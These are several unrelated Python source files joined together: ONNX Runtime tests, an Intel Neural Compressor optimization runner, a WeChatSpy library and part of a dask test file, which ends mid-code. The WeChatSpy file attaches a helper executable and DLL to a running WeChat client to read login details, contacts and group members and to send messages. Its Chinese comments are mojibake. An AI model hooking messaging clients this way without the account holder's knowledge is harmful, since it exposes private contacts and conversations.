input_shape = sess.get_inputs()[0].shape
self.assertEqual(input_shape, [1, 1])
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "variable")
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, "tensor(int64)")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [1, 1])
# Array
x = np.array([['4']])
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[3]], dtype=np.int64)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
# Python type
x = np.array(['4'], ndmin=2)
res = sess.run([output_name], {input_name: x})
output_expected = np.array([3], ndmin=2, dtype=np.int64)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
x = np.array(['4'], ndmin=2, dtype=np.object)
res = sess.run([output_name], {input_name: x})
output_expected = np.array([3], ndmin=2, dtype=np.int64)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
def test_run_model_mlnet(self):
sess = onnxrt.InferenceSession(self.get_name("mlnet_encoder.onnx"))
names = [_.name for _ in sess.get_outputs()]
self.assertEqual(['C00', 'C12'], names)
c0 = np.array([5.], dtype=np.float32).reshape(1, 1)
c1 = np.array([b'A\0A\0', b"B\0B\0", b"C\0C\0"], np.void).reshape(1, 3)
res = sess.run(None, {'C0': c0, 'C1': c1})
mat = res[1]
total = mat.sum()
self.assertEqual(total, 2)
self.assertEqual(list(mat.ravel()),
list(np.array([[[0., 0., 0., 0.], [1., 0., 0., 0.], [0., 0., 1., 0.]]]).ravel()))
# In memory, the size of each element is fixed and equal to the
# longest element. We cannot use bytes because numpy is trimming
# every final 0 for strings and bytes before creating the array
# (to save space). It does not have this behaviour for void
# but as a result, numpy does not know anymore the size
# of each element, they all have the same size.
c1 = np.array([b'A\0A\0\0', b"B\0B\0", b"C\0C\0"],
np.void).reshape(1, 3)
res = sess.run(None, {'C0': c0, 'C1': c1})
mat = res[1]
total = mat.sum()
self.assertEqual(total, 0)
def testGraphOptimizationLevel(self):
opt = onnxrt.SessionOptions()
self.assertEqual(opt.graph_optimization_level, onnxrt.GraphOptimizationLevel.ORT_ENABLE_BASIC)
# default should be basic optimization
opt.graph_optimization_level = onnxrt.GraphOptimizationLevel.ORT_ENABLE_ALL
self.assertEqual(opt.graph_optimization_level, onnxrt.GraphOptimizationLevel.ORT_ENABLE_ALL)
sess = onnxrt.InferenceSession(self.get_name("logicaland.onnx"), sess_options=opt)
a = np.array([[True, True], [False, False]], dtype=np.bool)
b = np.array([[True, False], [True, False]], dtype=np.bool)
res = sess.run([], {'input1:0': a, 'input:0':b})
def testSequenceLength(self):
sess = onnxrt.InferenceSession(self.get_name("sequence_length.onnx"))
x = [np.array([1.0, 0.0, 3.0, 44.0, 23.0, 11.0], dtype=np.float32).reshape((2, 3)),
np.array([1.0, 0.0, 3.0, 44.0, 23.0, 11.0], dtype=np.float32).reshape((2, 3))]
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "X")
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'seq(tensor(float))')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Y")
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'tensor(int64)')
output_expected = np.array(2, dtype=np.int64)
res = sess.run([output_name], {x_name: x})
self.assertEqual(output_expected, res[0])
def testSequenceConstruct(self):
sess = onnxrt.InferenceSession(
self.get_name("sequence_construct.onnx"))
self.assertEqual(sess.get_inputs()[0].type, 'tensor(int64)')
self.assertEqual(sess.get_inputs()[1].type, 'tensor(int64)')
self.assertEqual(sess.get_inputs()[0].name, "tensor1")
self.assertEqual(sess.get_inputs()[1].name, "tensor2")
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output_sequence")
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'seq(tensor(int64))')
output_expected = [np.array([1, 0, 3, 44, 23, 11], dtype=np.int64).reshape((2, 3)),
np.array([1, 2, 3, 4, 5, 6], dtype=np.int64).reshape((2, 3))]
res = sess.run([output_name], {"tensor1": np.array([1, 0, 3, 44, 23, 11], dtype=np.int64).reshape((2, 3)),
"tensor2": np.array([1, 2, 3, 4, 5, 6], dtype=np.int64).reshape((2, 3))})
np.testing.assert_array_equal(output_expected, res[0])
def testSequenceInsert(self):
opt = onnxrt.SessionOptions()
opt.execution_mode = onnxrt.ExecutionMode.ORT_SEQUENTIAL
sess = onnxrt.InferenceSession(self.get_name("sequence_insert.onnx"), sess_options=opt)
self.assertEqual(sess.get_inputs()[0].type, 'seq(tensor(int64))')
self.assertEqual(sess.get_inputs()[1].type, 'tensor(int64)')
self.assertEqual(sess.get_inputs()[0].name, "input_seq")
self.assertEqual(sess.get_inputs()[1].name, "tensor")
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output_sequence")
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'seq(tensor(int64))')
output_expected = [
np.array([1, 0, 3, 44, 23, 11], dtype=np.int64).reshape((2, 3))]
res = sess.run([output_name], {"tensor": np.array(
[1, 0, 3, 44, 23, 11], dtype=np.int64).reshape((2, 3)), "input_seq": []})
np.testing.assert_array_equal(output_expected, res[0])
def testOrtExecutionMode(self):
opt = onnxrt.SessionOptions()
self.assertEqual(opt.execution_mode, onnxrt.ExecutionMode.ORT_SEQUENTIAL)
opt.execution_mode = onnxrt.ExecutionMode.ORT_PARALLEL
self.assertEqual(opt.execution_mode, onnxrt.ExecutionMode.ORT_PARALLEL)
def testLoadingSessionOptionsFromModel(self):
try:
os.environ['ORT_LOAD_CONFIG_FROM_MODEL'] = str(1)
sess = onnxrt.InferenceSession(self.get_name("model_with_valid_ort_config_json.onnx"))
session_options = sess.get_session_options()
self.assertEqual(session_options.inter_op_num_threads, 5) # from the ORT config
self.assertEqual(session_options.intra_op_num_threads, 2) # from the ORT config
self.assertEqual(session_options.execution_mode, onnxrt.ExecutionMode.ORT_SEQUENTIAL) # default option (not from the ORT config)
self.assertEqual(session_options.graph_optimization_level, onnxrt.GraphOptimizationLevel.ORT_ENABLE_ALL) # from the ORT config
self.assertEqual(session_options.enable_profiling, True) # from the ORT config
except Exception:
raise
finally:
# Make sure the usage of the feature is disabled after this test
os.environ['ORT_LOAD_CONFIG_FROM_MODEL'] = str(0)
if __name__ == '__main__':
unittest.main()
|
execute_optimization.py
|
# -*- coding: utf-8 -*-
# Copyright (c) 2021 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Execute tune."""
import json
import os
import threading
from typing import Any, Dict, Optional
from neural_compressor.ux.components.optimization.factory import OptimizationFactory
from neural_compressor.ux.components.optimization.optimization import Optimization
from neural_compressor.ux.components.optimization.tuning_history import Watcher
from neural_compressor.ux.utils.exceptions import ClientErrorException
from neural_compressor.ux.utils.executor import Executor
from neural_compressor.ux.utils.logger import log
from neural_compressor.ux.utils.parser import OptimizationParser
from neural_compressor.ux.utils.templates.workdir import Workdir
from neural_compressor.ux.utils.utils import _load_json_as_dict, get_size
from neural_compressor.ux.web.communication import MessageQueue
mq = MessageQueue()
def execute_optimization(data: Dict[str, Any]) -> dict:
"""Get configuration."""
from neural_compressor.ux.utils.workload.workload import Workload
if not str(data.get("id", "")):
message = "Missing request id."
mq.post_error(
"optimization_finish",
{"message": message, "code": 404},
)
raise Exception(message)
request_id: str = data["id"]
workdir: Optional[Workdir] = None
try:
workdir = Workdir(request_id=request_id, overwrite=False)
workload_path: str = workdir.workload_path
workload_data = _load_json_as_dict(
os.path.join(workload_path, "workload.json"),
)
workload = Workload(workload_data)
optimization: Optimization = OptimizationFactory.get_optimization(
workload,
workdir.template_path,
)
send_data = {
"message": "started",
"id": request_id,
"size_input_model": get_size(optimization.input_graph),
}
workdir.clean_logs()
workdir.update_data(
request_id=request_id,
model_path=optimization.input_graph,
input_precision=optimization.input_precision,
model_output_path=optimization.output_graph,
output_precision=optimization.output_precision,
status="wip",
)
executor = Executor(
workspace_path=workload_path,
subject="optimization",
data=send_data,
log_name="output",
)
tuning_history_watcher = Watcher(request_id)
threading.Thread(target=tuning_history_watcher, daemon=True).start()
proc = executor.call(
optimization.command,
)
tuning_history_watcher.stop()
optimization_time = executor.process_duration
if optimization_time:
optimization_time = round(optimization_time, 2)
log.debug(f"Elapsed time: {optimization_time}")
logs = [os.path.join(workload_path, "output.txt")]
parser = OptimizationParser(logs)
if proc.is_ok:
response_data = parser.process()
optimized_model_path = response_data.get(
"path_optimized_model",
optimization.output_graph,
)
optimization.output_graph = optimized_model_path
if isinstance(response_data, dict):
response_data["id"] = request_id
response_data["optimization_time"] = optimization_time
response_data["size_optimized_model"] = get_size(optimized_model_path)
response_data["model_output_path"] = optimized_model_path
response_data["size_input_model"] = get_size(optimization.input_graph)
response_data["is_custom_dataloader"] = bool(workdir.template_path)
workdir.update_data(
request_id=request_id,
model_path=optimization.input_graph,
model_output_path=optimized_model_path,
metric=response_data,
status="success",
execution_details={"optimization": optimization.serialize()},
input_precision=optimization.input_precision,
output_precision=optimization.output_precision,
)
response_data["execution_details"] = {"optimization": optimization.serialize()}
log.debug(f"Parsed data is {json.dumps(response_data)}")
mq.post_success("optimization_finish", response_data)
return response_data
else:
log.debug("FAIL")
workdir.update_data(
request_id=request_id,
model_path=optimization.input_graph,
input_precision=optimization.input_precision,
output_precision=optimization.output_precision,
status="error",
)
raise ClientErrorException("Optimization failed during execution.")
except Exception as err:
mq.post_failure("optimization_finish", {"message": str(err), "id": request_id})
if workdir is not None and workdir.get_workload_data(request_id).get("status") != "error":
workdir.update_data(
request_id=request_id,
status="error",
)
raise
|
spy.py
|
import os
from socket import socket, AF_INET, SOCK_STREAM
from threading import Thread
from .exceptions import ParserError
import logging
import warnings
from uuid import uuid4
from .proto import spy_pb2
from .command import *
from ctypes import cdll, c_char_p
class WeChatSpy:
def __init__(self, parser=None, key: str = None, logger: logging.Logger = None):
# ๅ็จkey
self.__key = key
# ๆฅๅฟๆจกๅ
if isinstance(logger, logging.Logger):
# ไฝฟ็จ่ชๅฎไนlogger
self.logger = logger
else:
# ไฝฟ็จ้ป่ฎคlogger
self.logger = logging.getLogger(__file__)
formatter = logging.Formatter('%(asctime)s [%(threadName)s] %(levelname)s: %(message)s')
sh = logging.StreamHandler()
sh.setFormatter(formatter)
sh.setLevel(logging.DEBUG)
self.logger.addHandler(sh)
self.logger.setLevel(logging.DEBUG)
# socketๆฐๆฎๅค็ๅฝๆฐ
if callable(parser):
self.__parser = parser
else:
raise ParserError("Parser must be callable")
self.__port2client = dict()
self.__pid2port = dict()
host = "127.0.0.1"
port = 9527
self.__socket_server = socket(AF_INET, SOCK_STREAM)
self.__socket_server.bind((host, port))
self.__socket_server.listen(1)
t_start_server = Thread(target=self.__start_server)
t_start_server.daemon = True
t_start_server.name = "spy"
t_start_server.start()
current_path = os.path.split(os.path.abspath(__file__))[0]
helper_path = os.path.join(current_path, "SpyHelper.exe")
attach_thread = Thread(target=os.system, args=(helper_path,))
attach_thread.daemon = True
attach_thread.name = "attach"
attach_thread.start()
def __start_server(self):
while True:
socket_client, client_address = self.__socket_server.accept()
self.__port2client[client_address[1]] = socket_client
self.logger.info(f"A WeChat process from {client_address} successfully connected")
if self.__key:
self.set_commercial(self.__key, port=client_address[1])
t_socket_client_receive = Thread(target=self.receive, args=(socket_client, client_address))
t_socket_client_receive.name = f"wechat {client_address}"
t_socket_client_receive.daemon = True
t_socket_client_receive.start()
def receive(self, socket_client: socket, client_address: tuple):
recv_byte = b""
data_size = 0
while True:
try:
_bytes = socket_client.recv(4096)
except Exception as e:
return self.logger.warning(f"The WeChat process has disconnected: {e}")
recv_byte += _bytes
while True:
if not data_size:
if len(recv_byte) > 3:
data_size = int.from_bytes(recv_byte[:4], "little")
else:
break
elif data_size <= len(recv_byte) - 4:
data_byte = recv_byte[4: data_size + 4]
response = spy_pb2.Response()
response.ParseFromString(data_byte)
response.port = client_address[1]
recv_byte = recv_byte[data_size + 4:]
data_size = 0
if response.type == SYSTEM:
if response.info:
self.logger.info(f"{response.info}")
elif response.warning:
self.logger.warning(f"{response.warning}")
elif response.error:
self.logger.error(f"{response.error}")
else:
if response.type == WECHAT_CONNECTED:
self.__pid2port[response.pid] = client_address[1]
t = Thread(target=self.__parser, args=(response,))
t.name = f"wechat {client_address}"
t.daemon = True
t.start()
else:
break
def __send(self, request: spy_pb2.Request, pid: int = 0, port: int = 0):
if pid:
self.logger.warning(
"We recommend using the parameter 'port' to distinguish between multiple different WeChat clients.")
if not (port := self.__pid2port.get(pid)):
self.logger.error(f"Failure to find port by pid:{pid}")
return False
if not port and self.__port2client:
socket_client = list(self.__port2client.values())[0]
elif not (socket_client := self.__port2client.get(port)):
self.logger.error(f"Failure to find socket client by port:{port}")
return False
request.uuid = uuid4().__str__()
data = request.SerializeToString()
data_length_bytes = int.to_bytes(len(data), length=4, byteorder="little")
try:
socket_client.send(data_length_bytes + data)
return True
except Exception as e:
self.logger.warning(f"The WeChat process {port} has disconnected: {e}")
return False
def run(self, wechat: str, bit: int = 64):
current_path = os.path.split(os.path.abspath(__file__))[0]
if bit == 64:
dll_path = os.path.join(current_path, "SpyHelper_x64.dll")
else:
dll_path = os.path.join(current_path, "SpyHelper_x86.dll")
try:
dll = cdll.LoadLibrary(dll_path)
except FileNotFoundError:
self.logger.error("OpenHelper not found")
return 0
except OSError as e:
if e.errno == 8:
return self.run(wechat, 64) if bit != 64 else self.run(wechat, 32)
self.logger.error(e)
return 0
pid = dll.OpenWeChat(c_char_p(wechat.encode()))
return pid
def set_commercial(self, key: str, pid: int = 0, port: int = 0):
request = spy_pb2.Request()
request.cmd = SYSTEM
request.content = key
request.uuid = ""
self.__send(request, pid, port)
def get_login_info(self, pid: int = 0, port: int = 0):
"""
่ทๅๅฝๅ็ปๅฝไฟกๆฏ
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = LOGIN_INFO
return self.__send(request, pid, port)
def query_login_info(self, pid: int = 0, port: int = 0):
warnings.warn(
"The function 'query_login_info' is deprecated, and has been replaced by the function 'get_login_info'",
DeprecationWarning)
return self.get_login_info(pid, port)
def get_contacts(self, pid: int = 0, port: int = 0):
"""
่ทๅ่็ณปไบบ่ฏฆๆ
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = CONTACTS
return self.__send(request, pid, port)
def query_contact_list(self, pid: int = 0, port: int = 0):
warnings.warn(
"The function 'query_contact_list' is deprecated, and has been replaced by the function 'get_contact_list'",
DeprecationWarning)
return self.get_contacts(pid, port)
def get_contact_details(self, wxid: str, update: bool = False, pid: int = 0, port: int = 0):
"""
่ทๅ่็ณปไบบ่ฏฆๆ
:param wxid: ่็ณปไบบwxid
:param update: ๆฏๅฆๆดๆฐๆๆฐ่ฏฆๆ
(้่ฏทๆฑๅพฎไฟกๆๅกๅจ ้ๅบฆ่พๆ
ข)
:param pid:
:param port:
"""
request = spy_pb2.Request()
request.cmd = CONTACT_DETAILS
request.wxid = wxid
request.update = 1 if update else 0
return self.__send(request, pid, port)
def query_contact_details(self, wxid: str, update: bool = False, pid: int = 0, port: int = 0):
warnings.warn(
"The function 'query_contact_details' is deprecated, "
"and has been replaced by the function 'get_contact_details'", DeprecationWarning)
return self.get_contact_details(wxid, update, pid, port)
def get_chatroom_members(self, wxid: str, pid: int = 0, port: int = 0):
"""
่ทๅ็พคๆๅๅ่กจ
:param wxid: ็พคwxid
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = CHATROOM_MEMBERS
request.wxid = wxid
return self.__send(request, pid, port)
def query_chatroom_member(self, wxid: str, pid: int = 0, port: int = 0):
warnings.warn(
"The function 'query_chatroom_member' is deprecated, "
"and has been replaced by the function 'get_chatroom_members'", DeprecationWarning)
return self.get_chatroom_members(wxid, pid, port)
def send_text(self, wxid: str, content: str, at_wxid: str = "", pid: int = 0, port: int = 0):
"""
ๅ้ๆๆฌๆถๆฏ
:param wxid: ๆๆฌๆถๆฏๆฅๆถwxid
:param content: ๆๆฌๆถๆฏๅ
ๅฎน
:param at_wxid: ๅฆๆwxidไธบ็พคwxidไธ้่ฆ@็พคๆๅ ๆญคๅๆฐไธบ่ขซ@็พคๆๅwxid๏ผไปฅ่ฑๆ้ๅทๅ้
:param pid:
:param port:
"""
if not wxid.endswith("chatroom"):
at_wxid = ""
request = spy_pb2.Request()
request.cmd = SEND_TEXT
request.wxid = wxid
request.at_wxid = at_wxid
request.content = content
return self.__send(request, pid, port)
def send_image(self, wxid: str, image_path: str, pid: int = 0, port: int = 0):
warnings.warn("The function 'send_image' is deprecated, and has been replaced by the function 'send_file'",
DeprecationWarning)
return self.send_file(wxid, image_path, pid, port)
def send_file(self, wxid: str, file_path: str, pid: int = 0, port: int = 0):
"""
ๅ้ๆไปถๆถๆฏ
:param wxid: ๆไปถๆถๆฏๆฅๆถwxid
:param file_path: ๆไปถ่ทฏๅพ
:param pid:
:param port:
"""
if len(file_path.split("\\")) > 8:
return self.logger.warning(f"File path is too long: {file_path}")
request = spy_pb2.Request()
request.cmd = SEND_FILE
request.wxid = wxid
request.content = file_path
return self.__send(request, pid, port)
def accept_new_contact(self, encryptusername: str, ticket: str, pid: int = 0, port: int = 0):
"""
ๆฅๅๅฅฝๅ่ฏทๆฑ
:param encryptusername:
:param ticket:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = ACCEPT_CONTACT
request.encryptusername = encryptusername
request.ticket = ticket
return self.__send(request, pid, port)
def send_announcement(self, wxid: str, content: str, pid: int = 0, port: int = 0):
"""
ๅ้็พคๅ
ฌๅ
ฑ
:param wxid: ็พคwxid
:param content: ๅ
ฌๅๅ
ๅฎน
:param pid:
:param port:
:return:
"""
if not wxid.endswith("chatroom"):
return self.logger.warning("Can only send announcements to chatrooms")
request = spy_pb2.Request()
request.cmd = SEND_ANNOUNCEMENT
request.wxid = wxid
request.content = content
return self.__send(request, pid, port)
def create_chatroom(self, wxid: str, pid: int = 0, port: int = 0):
"""
ๅๅปบ็พค่
:param wxid: wxid,ไปฅ","ๅ้ ่ณๅฐ้่ฆไธคไธช
:param pid:
:param port:
:return:
"""
if len(wxid.split(",")) < 2:
return self.logger.warning("This function requires at least two wxids separated by ','")
request = spy_pb2.Request()
request.cmd = CREATE_CHATROOM
request.wxid = wxid
return self.__send(request, pid, port)
def share_chatroom(self, chatroom_wxid: str, wxid: str, pid: int = 0, port: int = 0):
"""
ๅไบซ็พค่้่ฏท้พๆฅ
:param chatroom_wxid:
:param wxid:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = SHARE_CHATROOM
request.wxid = wxid
request.chatroom_wxid = chatroom_wxid
return self.__send(request, pid, port)
def remove_chatroom_member(self, chatroom_wxid: str, wxid: str, pid: int = 0, port: int = 0):
"""
็งป้ค็พคๆๅ
:param chatroom_wxid:
:param wxid:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = REMOVE_CHATROOM_MEMBER
request.wxid = wxid
request.chatroom_wxid = chatroom_wxid
return self.__send(request, pid, port)
def remove_contact(self, wxid: str, pid: int = 0, port: int = 0):
"""
็งป้ค่็ณปไบบ
:param wxid:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = REMOVE_CONTACT
request.wxid = wxid
return self.__send(request, pid, port)
def add_contact(self, wxid: str, chatroom_wxid: str = "", greeting: str = "",
add_type: int = 1, pid: int = 0, port: int = 0):
"""
ๆทปๅ ่็ณปไบบ
add_type = 313: wxidใchatroom_wxidใgreetingๅฟ
ๅกซ
add_type = 314: wxid, greetingๅฟ
ๅกซ
add_type = 315: wxid ๅฟ
ๅกซ
:param wxid: ็ฎๆ ็จๆทwxid
:param chatroom_wxid: ็ฎๆ ็จๆทๆๅจ็พค
:param greeting: ๆๅผ
:param add_type: ๆทปๅ ็ฑปๅ 313:ไป็พค่ไธญๆทปๅ 314:่ชๅทฑ่ขซๅฏนๆนๅ ้ค 315:ๅฏนๆน่ขซ่ชๅทฑๅ ้ค
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.wxid = wxid
if add_type == 1 and not chatroom_wxid:
return
request.cmd = add_type
request.chatroom_wxid = chatroom_wxid
request.content = greeting
return self.__send(request, pid, port)
def add_contact_from_chatroom(self, chatroom_wxid: str, wxid: str, msg: str, pid: int = 0, port: int = 0):
warnings.warn("The function 'add_contact_from_chatroom' is deprecated, "
"and has been replaced by the function 'add_contact'", DeprecationWarning)
return self.add_contact(wxid, chatroom_wxid, msg, ADD_CONTACT_A, pid, port)
def add_unidirectional_contact_a(self, wxid: str, msg: str, pid: int = 0, port: int = 0):
warnings.warn("The function 'add_unidirectional_contact_a' is deprecated, "
"and has been replaced by the function 'add_contact'", DeprecationWarning)
return self.add_contact(wxid, "", msg, ADD_CONTACT_B, pid, port)
def add_unidirectional_contact_b(self, wxid: str, pid: int = 0, port: int = 0):
warnings.warn("The function 'add_unidirectional_contact_b' is deprecated, "
"and has been replaced by the function 'add_contact'", DeprecationWarning)
return self.add_contact(wxid, "", "", ADD_CONTACT_C, pid, port)
def get_contact_status(self, wxid: str, pid: int = 0, port: int = 0):
"""
่ทๅ่็ณปไบบ็ถๆ
:param wxid:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = CONTACT_STATUS
request.wxid = wxid
return self.__send(request, pid, port)
def check_contact_status(self, wxid: str, pid: int = 0, port: int = 0):
warnings.warn("The function 'check_contact_status' is deprecated, "
"and has been replaced by the function 'get_contact_status'", DeprecationWarning)
return self.get_contact_status(wxid, pid, port)
def set_chatroom_name(self, wxid: str, name: str, pid: int = 0, port: int = 0):
"""
่ฎพ็ฝฎ็พค่ๅ็งฐ
:param wxid:
:param name:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = SET_CHATROOM_NAME
request.wxid = wxid
request.content = name
return self.__send(request, pid, port)
def set_save_folder(self, folder: str, pid: int = 0, port: int = 0):
"""
่ฎพ็ฝฎไฟๅญ่ทฏๅพ
:param folder:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = SET_SAVE_FOLDER
request.content = folder
return self.__send(request, pid, port)
def show_qrcode(self, output_path: str = "", pid: int = 0, port: int = 0):
"""
ๆพ็คบ็ปๅฝไบ็ปด็
:param output_path: ่พๅบๆไปถ่ทฏๅพ
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = QRCODE
request.content = output_path
return self.__send(request, pid, port)
def set_remark(self, wxid: str, remark: str, pid: int = 0, port: int = 0):
"""
่ฎพ็ฝฎ่็ณปไบบๅคๆณจ
:param wxid:
:param remark:
:param pid:
:param port:
:return:
"""
request = spy_pb2.Request()
request.cmd = SET_REMARK
request.wxid = wxid
request.content = remark
return self.__send(request, pid, port)
|
test_nanny.py
|
import asyncio
import gc
import logging
import os
import random
import sys
import multiprocessing as mp
import numpy as np
import pytest
from toolz import valmap, first
from tornado import gen
from tornado.ioloop import IOLoop
import dask
from distributed.diagnostics import SchedulerPlugin
from distributed import Nanny, rpc, Scheduler, Worker, Client, wait
from distributed.core import CommClosedError
from distributed.metrics import time
from distributed.protocol.pickle import dumps
from distributed.utils import ignoring, tmpfile, TimeoutError
from distributed.utils_test import ( # noqa: F401
gen_cluster,
gen_test,
inc,
captured_logger,
cleanup,
)
@gen_cluster(nthreads=[])
async def test_nanny(s):
async with Nanny(s.address, nthreads=2, loop=s.loop) as n:
async with rpc(n.address) as nn:
assert n.is_alive()
[ws] = s.workers.values()
assert ws.nthreads == 2
assert ws.nanny == n.address
await nn.kill()
assert not n.is_alive()
start = time()
while n.worker_address in s.workers:
assert time() < start + 1
await asyncio.sleep(0.01)
await nn.kill()
assert not n.is_alive()
assert n.worker_address not in s.workers
await nn.instantiate()
assert n.is_alive()
[ws] = s.workers.values()
assert ws.nthreads == 2
assert ws.nanny == n.address
await nn.terminate()
assert not n.is_alive()
@gen_cluster(nthreads=[])
def test_many_kills(s):
n = yield Nanny(s.address, nthreads=2, loop=s.loop)
assert n.is_alive()
yield [n.kill() for i in range(5)]
yield [n.kill() for i in range(5)]
yield n.close()
@gen_cluster(Worker=Nanny)
def test_str(s, a, b):
assert a.worker_address in str(a)
assert a.worker_address in repr(a)
assert str(a.nthreads) in str(a)
assert str(a.nthreads) in repr(a)
@gen_cluster(nthreads=[], timeout=20, client=True)
def test_nanny_process_failure(c, s):
n = yield Nanny(s.address, nthreads=2, loop=s.loop)
first_dir = n.worker_dir
assert os.path.exists(first_dir)
original_address = n.worker_address
ww = rpc(n.worker_address)
yield ww.update_data(data=valmap(dumps, {"x": 1, "y": 2}))
pid = n.pid
assert pid is not None
with ignoring(CommClosedError):
yield c.run(os._exit, 0, workers=[n.worker_address])
start = time()
while n.pid == pid: # wait while process dies and comes back
yield gen.sleep(0.01)
assert time() - start < 5
start = time()
yield gen.sleep(1)
while not n.is_alive(): # wait while process comes back
yield gen.sleep(0.01)
assert time() - start < 5
# assert n.worker_address != original_address # most likely
start = time()
while n.worker_address not in s.nthreads or n.worker_dir is None:
yield gen.sleep(0.01)
assert time() - start < 5
second_dir = n.worker_dir
yield n.close()
assert not os.path.exists(second_dir)
assert not os.path.exists(first_dir)
assert first_dir != n.worker_dir
yield ww.close_rpc()
s.stop()
@gen_cluster(nthreads=[])
def test_run(s):
pytest.importorskip("psutil")
n = yield Nanny(s.address, nthreads=2, loop=s.loop)
with rpc(n.address) as nn:
response = yield nn.run(function=dumps(lambda: 1))
assert response["status"] == "OK"
assert response["result"] == 1
yield n.close()
@pytest.mark.slow
@gen_cluster(config={"distributed.comm.timeouts.connect": "1s"})
async def test_no_hang_when_scheduler_closes(s, a, b):
# https://github.com/dask/distributed/issues/2880
with captured_logger("tornado.application", logging.ERROR) as logger:
await s.close()
await asyncio.sleep(1.2)
assert a.status == "closed"
assert b.status == "closed"
out = logger.getvalue()
assert "Timed out trying to connect" not in out
@pytest.mark.slow
@gen_cluster(
Worker=Nanny, nthreads=[("127.0.0.1", 1)], worker_kwargs={"reconnect": False}
)
def test_close_on_disconnect(s, w):
yield s.close()
start = time()
while w.status != "closed":
yield gen.sleep(0.05)
assert time() < start + 9
class Something(Worker):
# a subclass of Worker which is not Worker
pass
@gen_cluster(client=True, Worker=Nanny)
def test_nanny_worker_class(c, s, w1, w2):
out = yield c._run(lambda dask_worker=None: str(dask_worker.__class__))
assert "Worker" in list(out.values())[0]
assert w1.Worker is Worker
@gen_cluster(client=True, Worker=Nanny, worker_kwargs={"worker_class": Something})
def test_nanny_alt_worker_class(c, s, w1, w2):
out = yield c._run(lambda dask_worker=None: str(dask_worker.__class__))
assert "Something" in list(out.values())[0]
assert w1.Worker is Something
@pytest.mark.slow
@gen_cluster(client=False, nthreads=[])
def test_nanny_death_timeout(s):
yield s.close()
w = Nanny(s.address, death_timeout=1)
with pytest.raises(TimeoutError):
yield w
assert w.status == "closed"
@gen_cluster(client=True, Worker=Nanny)
def test_random_seed(c, s, a, b):
@gen.coroutine
def check_func(func):
x = c.submit(func, 0, 2 ** 31, pure=False, workers=a.worker_address)
y = c.submit(func, 0, 2 ** 31, pure=False, workers=b.worker_address)
assert x.key != y.key
x = yield x
y = yield y
assert x != y
yield check_func(lambda a, b: random.randint(a, b))
yield check_func(lambda a, b: np.random.randint(a, b))
@pytest.mark.skipif(
sys.platform.startswith("win"), reason="num_fds not supported on windows"
)
@gen_cluster(client=False, nthreads=[])
def test_num_fds(s):
psutil = pytest.importorskip("psutil")
proc = psutil.Process()
# Warm up
w = yield Nanny(s.address)
yield w.close()
del w
gc.collect()
before = proc.num_fds()
for i in range(3):
w = yield Nanny(s.address)
yield gen.sleep(0.1)
yield w.close()
start = time()
while proc.num_fds() > before:
print("fds:", before, proc.num_fds())
yield gen.sleep(0.1)
assert time() < start + 10
@pytest.mark.skipif(
not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost"
)
@gen_cluster(client=True, nthreads=[])
def test_worker_uses_same_host_as_nanny(c, s):
for host in ["tcp://0.0.0.0", "tcp://127.0.0.2"]:
n = yield Nanny(s.address, host=host)
def func(dask_worker):
return dask_worker.listener.listen_address
result = yield c.run(func)
assert host in first(result.values())
yield n.close()
@gen_test()
def test_scheduler_file():
with tmpfile() as fn:
s = yield Scheduler(scheduler_file=fn, port=8008)
w = yield Nanny(scheduler_file=fn)
assert set(s.workers) == {w.worker_address}
yield w.close()
s.stop()
@gen_cluster(client=True, Worker=Nanny, nthreads=[("127.0.0.1", 2)])
def test_nanny_timeout(c, s, a):
x = yield c.scatter(123)
with captured_logger(
logging.getLogger("distributed.nanny"), level=logging.ERROR
) as logger:
response = yield a.restart(timeout=0.1)
out = logger.getvalue()
assert "timed out" in out.lower()
start = time()
while x.status != "cancelled":
yield gen.sleep(0.1)
assert time() < start + 7
@gen_cluster(
nthreads=[("127.0.0.1", 1)],
client=True,
Worker=Nanny,
worker_kwargs={"memory_limit": 1e8},
timeout=20,
clean_kwargs={"threads": False},
)
def test_nanny_terminate(c, s, a):
from time import sleep
def leak():
L = []
while True:
L.append(b"0" * 5000000)
sleep(0.01)
proc = a.process.pid
with captured_logger(logging.getLogger("distributed.nanny")) as logger:
future = c.submit(leak)
start = time()
while a.process.pid == proc:
yield gen.sleep(0.1)
assert time() < start + 10
out = logger.getvalue()
assert "restart" in out.lower()
assert "memory" in out.lower()
@gen_cluster(
nthreads=[("127.0.0.1", 1)] * 8,
